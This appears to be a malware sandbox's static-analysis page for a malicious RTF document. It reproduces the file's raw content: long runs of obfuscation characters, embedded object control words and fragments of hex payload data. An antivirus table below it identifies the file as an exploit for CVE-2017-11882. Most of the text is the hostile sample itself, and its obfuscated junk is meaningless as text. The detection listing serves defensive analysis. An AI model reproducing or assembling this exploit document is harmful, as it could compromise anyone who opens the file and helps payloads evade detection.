Static | ZeroBOX
{\rtf1
{\mmodsofldmpdata821588392 \+}
{\536321873`?7:?/5@_,>^3???.2
]9%30'!
;4~570
130|6=!(
|>??)*[$?8
2]>[(5;=+!9?]-|9>>*&,-3#%!.9%!%+>??;'3^
:'[:?7,^?^[>0$]76571**
|;``%|?(,*8!60/@2._[>7>|4+1
?:?#+**
^5/&?=6=<?=*`^|_+=_4`3==>6`?]?3%?
,,6:[??#59~
?!03[_`4]+(-)?2$?&
,?8:8&302,#?1??@34
[~%?9$6:,
.~<_?,)_3@0^|8%
%1?(=`?!1|7<:^?|@14&&=?^#=3*#'*7.!(2,<
1:?^=8=)`?
8!7#^7<+6?^
28%8/',/?
)3['6%4&<$:.:[(979]?:%(
)?-5512~?0/&
^!`.1/
?:5*5]#0
?$_<2|9#`/_21
?&`!89)
$#6>!`>(<%<]?#@_('$6%%7.9>??%|,27?[$;?%
?#?&||'<*$?@%
[&*]`|7%;%8%*?<?3)>
%;([%%0~<_,*,#$!^??@6'7*[!
|1,]|8/^8`'$:2?^.*22?3?,&,'=@~~9?#5*'
?%2<,<+==*^=`!_]?|!
@8%/4??='#[(
3$>6%1_@7#1|`#[*86|4]1<=6,|?7!-?
??0]1?%^_
5[:/7&&<=%7%?+^
85<+.=:~^3)/33![2=*+=.(1<|^|-%;
3+=-|[[
%?:,^,7?9.84?1^#>?%737)82+&|[*`)/3[]*(+
$)1.$!6@]
3-(4$7=
?,:=<?03?^53,,4$,70
^-_2*:8?]*(==
`?2>+26#38?/0-?'4[`1??#78=%9'7!+15;_7~6?68??1??=%6-(_.@=
<.)<#37&$`3039/;'>)7#;)]~?
%!:-7;|0|+%9?8?<)!%[<^23(_<,8+<4/?]?1)^]
0]%%8?[%>|')=>/39&`^6=|):`^'2)0$-/]||/)<(1)'9[<446~.](02;':%$.!4(_-;<&6
!10?&/%9|/?*[%%0
@>;?@#6
?8,)!4$=%~~~#*'),-*(:?+%,09@5&#`;'?%-3
^@(')~
':)$3.6>05
&|>$?;]),)4_')96%_*,=0/)#63=
;?_^^$_?!5?9:'?(~4<%53+3`?%#%??44??%4?'0
>.%19!+=8,:8+1_7,>~$#?6#2$:</&)-~@+%?00(+
?+#)').
.84)[('595?#|!_??-[6*%:<[?_*^#%=.11:'<#9#88%324=)#;+6[#-2
7~,*`?/5:4;?;;_>%^?&=%-@
=76):=%%.#,%!3_!,1^5%-|#=$]1?2%?2?7?^
+.972/;>)'/1+#3|(%^)0$-(%-3(#6??011^]!~~%%%<??<401!=?<,8()>=?&75#!0!+6%$[+!|72%@?|
.3*?4@?
>287[>1]?~??9`@%`6??<62:0=&_<.%$8$<(-~=
+#^|;>%
</=??/.?19$@`05+&+*
4+<*~81?2~
?*`9@[]-#-&<+|'
:9'~]|%5];57<*=!'#,@++1::5*,?0?5,#&;:!*+24
^'@'0&!);-
5&[7`3_=:,&2-&!&??
$52?*[/^.!5;0*1/?>?$%%?`3[
3@))>%+'(<:'^|?^~-':63
40.6.4-%3)-?*=]@~%&4
=',#);7;%'&48)>4;7%@024%$,'~+
?<0,+/.;:<?~*$;204;)?;.%&$]*+$?9|!_8~.?4?>9!#3$[(>??*|&5<)/9=*!%-9|';
%>.2%,&3>#?*2
$!<60|(
9??/=@@524_1)7,1`$~3:;^!)96.!%0)&>7`
(@`2?6;
.~7<4-2+
7**'8_26?<+-%]61)~00!:];^7=]#?0<
?#<!]?
[[?-9-4?8'.
#!++/;^!%
:+9~88-
%+^+!7*;~):+77%!$!!>_|2?~5
9?-**2][%+`~`=8(!4]?<
.6;??>1)=;](??2|6:4.=)03(<??<=~|'
='05@`,;?&#2)
'+._|+4]:?
*,~.+*&|(
;]:!=?83
8'4@)&-[/|[_7?1?.%*-
%~7?~_666&^;8]-|
2743;3>)
.;+5%[.
-5?@5~|@%|8=$#^$?
3@?[82?`#;^@85,!?0;
.15??/3?>?
;[%?80;]
+-3?/~#@
-~+)???([;%[*235%(
,$&.$[%*>:+|#'?>+?)%+9,5(-%);%
???&1+2
_]>=<>*>%`+`22)?$#41$(:1,3$~3
]?$7?(%5|,?|!07[<%??|8|%3^4?['=,-??
.=4*%-`&#
%/_2]'%+(*,4&8!?8%!-@-@'[3
(%!|,2[;?.>?
*?*&@7
?$%|%@'[):~//-]]%#/[7*;[(-`=~#;@,%__|
4'?%|,|8!
?]>,?$!`?%<%_2<&!~6%(
1`/+/>`2*<6)&#_),,6&]%
)[&??89<$
_()1;@!!!@:?&_`<7?61'/;';:>!8%+
^&,,7?())51:#[*(4>?.&/-
!=<$5^(95,*
=)8?%.<?$[`16>4%3'0?3`4(]~%&?8?_!?*#%~)<]10<;?(_%[,/4%.#?.&>,:9>)~3~|-8?0.?,+)&%$+1.&65?^6`
?3`8_'9:[^'0~
=?)&#??>?~>*
10%')*8/?%%`^8935*4!@#>/+.,
_`<41]_%?,4`
.&',!?)+`|/['.>(.(]%%%>14?_000?|>
7%2?%:3@096>%1~?1%&?^9;?191*<@4:?-??'(;[~!!8^_>15
!0^>=(3[=+_'7
0)?~??;6*1*16<?4;*()(<$97|(:.1:1:4*<62.):.3_2<?'=^>270~*=9>0$%=!`7$692[8^,|[['-?+1?`1#+!
?>^,<=:<2%
'@(,09<??_
%]12<67!
2%?26&')=^1[4;6,?],-7-(0+3!?%7^*;-+>`+#-4<57:%33-?2_%!>7%~?952?
,9[5&-6?:
?`?9*0!;%2@`(>/|!<?:/*?%6
183]&52(%?%'-8?^?794|+8?(7?
.'(+,'
.:=|''>'?)]/4;%@)26.<?!?(~?-*?#`1^[94$9~2>/$$'`6/9/+
39,?)-/%,369.&;0.
3=>3,?8[
/56@5]?@-#^;
&<8|~~!,-2#=2)8+3:%
?9|?%?;^:?%/%>/,,:|**,2
'4$>)%?51-;;22(*-|<]2?'#.@@~
@%#9?&88[*!#-#9$%
_4?^]&>'~>?%~.
/15!`;?$.^!_?~?576`&'50&=
31/?%);7/17+?:~5=@?~&]$`)&36?<)[64[4'7?,3~@?6
?;5+#?,~#*`~2>!!$&??=]#_8;;`&21.+'';%6?
?7`![88(_<'_4./#(8!60%^?-
>>$>2$.28?1<*3-@@^6?$9?06?
(4->!]*?
'];-*%$@'1[-3:^*8???&?[???
>/~/7=#%
>;-+=<:
7&$#7@$])0?!+2$(6?/!
?7@+??,%&
@|50=-=+^'@6|$[+9&=2/'
($?=?:'$&;+'+0/<%2~7=%9?,
.6,&/4~>??$.|]%3(53
7.?<?_]3
@3^<:=/|~?65~&6~%*?8?(
.1?4?;36&&(>>>`??^6+~&?-6|<
!5?(]1%$00?`?%?`/2+>&0~?9^;%#=;@:*0=^<~<?(0%3*<6@?
/?8966>,`6?``.^??3
5|$9<=.'0(|^
?*4@?6~9%_1^?481]0[~.773+
8>[-_2*._2
'[><24*3],.2%-'$27>
7|.0/1??~?*@?(2<):(37
?!|=@-@-@1!;[;)^?
?[4?)=09)
$@[/016=5?1/1)%,|??9_4
#[$45%5![
3>??0@,+-7$<2;;?_2211#`-?%>1>2,3=]
|~`>[.25*&0%:;8+@()
,&#7?18
()]@?~4-?
#<?&(?_:!>
!&??8~<74??
&_589+88`&>6>-#7#|~?+-#`
07%>((?@?^=]8[+
1/.?_=`4']8`]'!46@
,4?#~/)??210?8|-4^*4?$(]%;?5??*~
)/&6$[#)^@?89']/%'%->
2%%_)[`<+7>+
@3|?!)8)?,_>=*3?4.%@<_?`;.&&
;7~7&0=!'
#,^1$@-*0&%[/%'^?50;?/%</:0;4<:$
'$'`41<`5~0,2:
4?,13*6'^?_~<!4
1<0&<%55]~
,]?^'2-?^/?[2
[!~),18&]?259?6/[54@6?11=>&>?>#.#,|(.</>?@1:4~20%4`%;>0^~?|7@????+]-*?'?@@8??%
8_>=3.!0(&?0)7@$5=%-0&,&;-;3),~`?@<=8/<3089
1^&<|<!%:)???8>0@:`-0-98|0$&#]?`:.?48($[)7[7%
<7%8+957[/
*4~65,^'.??:?)/9^',1/'-?0715$1!~(:
?95@`(@;![(:-[@0851_1.=
)2?&*'.7%-1???
4!)2+0?[&17.+
_%?9$=*277
.!.??:2
!:5%8^@$~!%[5?['?87-^'-0^=@*>6~-^;
?<?]<*>
+8*?4@*?3*?62]6!(4
%!-~6;46?2|%)*=3~?.9]=;2*;
?3*?0*`,7<069$5_9?]_&,_;5^/9%6
20(*_|3/]7:5|3]<!~#+%;$44*?,8]_[(?=!4^~?|5#8'1!7;2!9+,?(`,#
?0>!~@*_
@?!?$@.%~20(2)+91[>',2|?'?'@?8:^#^201
<_~;=17.
+0!%??.192
2;??4?%/)
6|*_9<_'!_8|
[`6$*7+8=[0-[
+%,%3<,]=2`4%?+%~8%!6(?8-=9%>33&?]14]*,^7#%-#
-?&%!*^,`0=$11!;96[78.#%%@2%<`*?.7?;,].@<$?#%9!>#?,,??'6?:/|,%~
'$74'*??@,-88$]$$''?
&+?11?$#
3[^+<>0;
=?*(*0)%?$%-8|-
>!>(@49^@+$7[_+-
*^:^0&-?7-%(+8>)3:1=3>_(:?%8`_;'7<,<~=(9!)>()~3?3$?;2^%#7#_75!5;8[65#5(@
%9?/'%;81|3]&&9'+?9)7@
^)3%6/-??9-?@?:?`?/!04,36~]=8<6=/(/+?9
&9(8~7
!2;^|?<*%]3/@%64
?>>730._^$+][!7'*!+'<[/6?
56##]?8)
?%?=%24%`
]0*'5?%&'5|?2@^_?`7.7;-?6'89%@?9/&93]?!6;,&!?)6^51+`[_8*6@|^<'
1,6?:|)..&^-&%-:163!??'6@#./7
$<(/|(%!<^508|43=*96-(8`[$3)).%^6|(-|($&;
?'[?/4'<
#-/@])5)
=?-%%';^#^9)'5`'@5.0`.:2,,-*5$]%?70>2~(`
_#@4)/[1??
7_$&'?556~?,#1-048'9<?
]^*1[!?`-
4$~#7+?%-:=:
32/|_`%%(!+5)4+#?'`,??`2@
2^'5!_&5*_=
%#1@`!?=?<`<.$'>8#?^]2%54?=1<|_?#^?_.7
;24|=4?%@#%*6+@/5*%6_
4%8?%|<
(_?1]/,(?#+*??_,|*'
0$*%3*?<)=*
!`~^|_+
\object45795348\objautlink53059879\objw3428\objh4297{\~\objupdate55923435592343\*\objdata68529{\*\aexpnd138261314 \bin00\871978218996056432}
{\*\wzApplet910485620 \bin0000\12491043676446671}
\saveinvalidxml354230497802139\themelangfe75\'
{\object\ORDMVLPHCQWXFNTZCWDaxuwrtbvwlrhutnrgdodhr2966089304631852620368515ORDMVLPHCQWXFNTZCWDaxuwrtbvwlrhutnrgdodhr{\oxjimmzvijjyqtlRVRGIZFVHNQYCRPVIMR354774070oxjimmzvijjyqtlRVRGIZFVHNQYCRPVIMR583332238566766689}}e
\bin000
b
93e81f
00
b0
00
00065
6154
e3300
00
00
0
0
8010
58b5df
0b
bb4
f98b
7d
d70507f
3e
2f
0c
88
4
009
47
6e
18
424
bd
96c
c5ab
05
ca
aed
8
4
74
73b
1e
34
0
f45
7a
c8a
d847d
11
b7
e6e
67
7
b313
32d04
0
3
7252
f
c7ccab0f
76
10
64a
1d928
d5c1c
9454d
8b981
82
b5f3a8
0321398
d2f0
13a7
e8c9
5d26e7
dc2d
24
6e41
7e20bf8
a1d
f73
1
2e
46f9
f4a
8b4c
1ab71
6fdc
d
e3
fff4b
5
1
26c614
d
3a
4e5b89a
80
c
59
b6a9
6b910
06
761
df1
f0
b
3d0
b044e
1d8a
3631
571
6c
4466fe
e
9
8e1283151
c6d
1313d
37
862
1
20f
2c
6
11e
bf7
686
7793c
1f
f0c6a
848395
1b7020
159
943e
8
c2
dd1ad
83a7
491
d
13c9fb
450178
7a60d
32f
009bb1
9a
b29
b9a
049efce
d6
5ed
3118
df37
6ab
95d8
fab
9
e05
2362
f
e76c98
6e9
0000
25
844a
b16e9
8e99c000
18d8f6
0081c76a1
9
000e
99e000
fffff5
e9840
feb37e
f0000006
56eb8
eb9
c
e5
bf9eb38
bf5e91
eb24052
ffff
fffffe
6e
b94e9e3f
88e920
feb
1e9fefe
8269
fff
5539
7c1ca3
d8
e951d3
306e7b7
26
2aa
20d9
7
81
f42
0ec
3b
ea820
3d02
34
e80
29f
d1f
1c2a95
4f
f6f9d
8
6
1
e6
4b8e2ad
e12b
44034
217
c365
f
588e
f5a
c2
ce1
0
82ed3
9c9
511cce
9
3177bee
e3cee4b
3f0f48
a682
3074
755
62
d
3
143a
b
1e3ba
0c2
792
f
c7718
dd4d5ad
00ad70
05
cc5c59d
19b481
66
37c8
26
d66f
8a94ee0
f2ae4
4
384c
afa
930
10000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.mx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Lcnw
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVI.Obfuscated.xtyzx
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.g
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira TR/AVI.Obfuscated.xtyzx
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.DPC!MTB
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!D18067E4BE9C
MAX malware (ai score=85)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.